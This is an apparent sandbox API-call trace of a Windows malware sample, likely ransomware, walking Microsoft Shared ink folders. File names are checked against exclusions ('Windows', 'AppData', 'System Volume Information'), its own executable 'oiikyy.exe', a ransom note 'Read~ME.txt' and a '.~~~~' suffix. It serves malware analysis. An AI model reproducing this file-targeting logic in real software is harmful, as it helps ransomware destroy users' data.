	[0068.944] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0068.944] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0068.944] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0068.944] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0068.944] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0068.944] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0068.944] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0068.944] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0068.944] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0068.944] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0068.944] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0068.944] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0068.944] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0068.944] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0068.945] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0068.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4af0
	[0068.945] GetCurrentThreadId () returned 0x618
	[0068.945] RtlWakeConditionVariable () returned 0x365f48
	[0068.945] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0068.946] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0068.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4af0
	[0068.946] GetCurrentThreadId () returned 0x618
	[0068.946] RtlWakeConditionVariable () returned 0x365f48
	[0068.946] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1
	[0068.946] lstrcmpiW (lpString1="rtscom.dll", lpString2="Windows") returned -1
	[0068.946] lstrcmpW (lpString1="rtscom.dll", lpString2="oiikyy.exe") returned 1
	[0068.946] StrStrW (lpFirst="rtscom.dll", lpSrch=".~~~~") returned 0x0
	[0068.946] lstrcmpW (lpString1="rtscom.dll", lpString2="Read~ME.txt") returned 1
	[0068.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.946] GetCurrentThreadId () returned 0x618
	[0068.946] RtlWakeConditionVariable () returned 0x365f48
	[0068.946] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0068.946] lstrcmpiW (lpString1="ru-RU", lpString2="Windows") returned -1
	[0068.946] lstrcmpW (lpString1="ru-RU", lpString2=".") returned 1
	[0068.946] lstrcmpW (lpString1="ru-RU", lpString2="..") returned 1
	[0068.946] lstrcmpW (lpString1="ru-RU", lpString2="AppData") returned 1
	[0068.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU", lpSrch="AppData") returned 0x0
	[0068.946] lstrlenW (lpString="C:\\Windows") returned 10
	[0068.946] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU", lpString2="C:\\Windows") returned -1
	[0068.946] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0068.947] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU", lpString2="C:\\System Volume Information") returned -1
	[0068.947] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0068.947] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0068.962] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0068.962] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0068.962] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0068.962] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0068.962] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0068.962] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0068.962] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0068.962] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0068.962] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0068.962] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0068.962] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0068.962] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0068.962] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0068.962] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0068.962] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0068.962] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0068.962] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0068.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4af0
	[0068.963] GetCurrentThreadId () returned 0x618
	[0068.963] RtlWakeConditionVariable () returned 0x365f48
	[0068.963] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0068.963] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0068.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4af0
	[0068.963] GetCurrentThreadId () returned 0x618
	[0068.963] RtlWakeConditionVariable () returned 0x365f48
	[0068.963] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1
	[0068.963] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="Windows") returned -1
	[0068.963] lstrcmpW (lpString1="ShapeCollector.exe", lpString2="oiikyy.exe") returned 1
	[0068.963] StrStrW (lpFirst="ShapeCollector.exe", lpSrch=".~~~~") returned 0x0
	[0068.963] lstrcmpW (lpString1="ShapeCollector.exe", lpString2="Read~ME.txt") returned 1
	[0068.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4af0
	[0068.963] GetCurrentThreadId () returned 0x618
	[0068.963] RtlWakeConditionVariable () returned 0x365f48
	[0068.963] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1
	[0068.963] lstrcmpiW (lpString1="sk-SK", lpString2="Windows") returned -1
	[0068.964] lstrcmpW (lpString1="sk-SK", lpString2=".") returned 1
	[0068.964] lstrcmpW (lpString1="sk-SK", lpString2="..") returned 1
	[0068.964] lstrcmpW (lpString1="sk-SK", lpString2="AppData") returned 1
	[0068.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK", lpSrch="AppData") returned 0x0
	[0068.964] lstrlenW (lpString="C:\\Windows") returned 10
	[0068.964] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK", lpString2="C:\\Windows") returned -1
	[0068.964] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0068.964] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK", lpString2="C:\\System Volume Information") returned -1
	[0068.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0068.964] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0068.964] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0068.964] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0068.965] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0068.965] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0068.965] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0068.965] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0068.965] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0068.965] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0068.965] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0068.965] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0068.965] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0068.965] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0068.965] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0068.965] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0068.965] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0068.965] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0068.965] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0068.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4af0
	[0068.965] GetCurrentThreadId () returned 0x618
	[0068.965] RtlWakeConditionVariable () returned 0x365f48
	[0068.965] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0068.966] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0068.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4af0
	[0068.966] GetCurrentThreadId () returned 0x618
	[0068.966] RtlWakeConditionVariable () returned 0x365f48
	[0068.966] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0068.966] lstrcmpiW (lpString1="sl-SI", lpString2="Windows") returned -1
	[0068.966] lstrcmpW (lpString1="sl-SI", lpString2=".") returned 1
	[0068.966] lstrcmpW (lpString1="sl-SI", lpString2="..") returned 1
	[0068.966] lstrcmpW (lpString1="sl-SI", lpString2="AppData") returned 1
	[0068.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI", lpSrch="AppData") returned 0x0
	[0068.966] lstrlenW (lpString="C:\\Windows") returned 10
	[0068.966] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI", lpString2="C:\\Windows") returned -1
	[0068.966] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0068.966] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI", lpString2="C:\\System Volume Information") returned -1
	[0068.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0068.966] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0068.967] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0068.967] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0068.967] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0068.967] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0068.967] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0068.967] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0068.967] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0068.967] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0068.967] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0068.967] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0068.967] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0068.967] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0068.967] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0068.967] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0068.967] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0068.967] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0068.967] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0068.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4af0
	[0068.967] GetCurrentThreadId () returned 0x618
	[0068.967] RtlWakeConditionVariable () returned 0x365f48
	[0068.968] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0068.968] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0068.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4af0
	[0068.968] GetCurrentThreadId () returned 0x618
	[0068.968] RtlWakeConditionVariable () returned 0x365f48
	[0068.968] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0068.968] lstrcmpiW (lpString1="sr-Latn-CS", lpString2="Windows") returned -1
	[0068.968] lstrcmpW (lpString1="sr-Latn-CS", lpString2=".") returned 1
	[0068.968] lstrcmpW (lpString1="sr-Latn-CS", lpString2="..") returned 1
	[0068.968] lstrcmpW (lpString1="sr-Latn-CS", lpString2="AppData") returned 1
	[0068.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS", lpSrch="AppData") returned 0x0
	[0068.968] lstrlenW (lpString="C:\\Windows") returned 10
	[0068.968] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS", lpString2="C:\\Windows") returned -1
	[0068.968] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0068.968] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS", lpString2="C:\\System Volume Information") returned -1
	[0068.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0068.969] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0068.969] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0068.969] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0068.969] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0068.969] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0068.969] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0068.969] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0068.969] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0068.969] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0068.969] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0068.969] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0068.969] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0068.969] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0068.969] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0068.970] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0068.970] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0068.970] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0068.970] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0068.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0068.970] GetCurrentThreadId () returned 0x618
	[0068.970] RtlWakeConditionVariable () returned 0x365f48
	[0068.970] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0068.970] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0068.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4af0
	[0068.970] GetCurrentThreadId () returned 0x618
	[0068.970] RtlWakeConditionVariable () returned 0x365f48
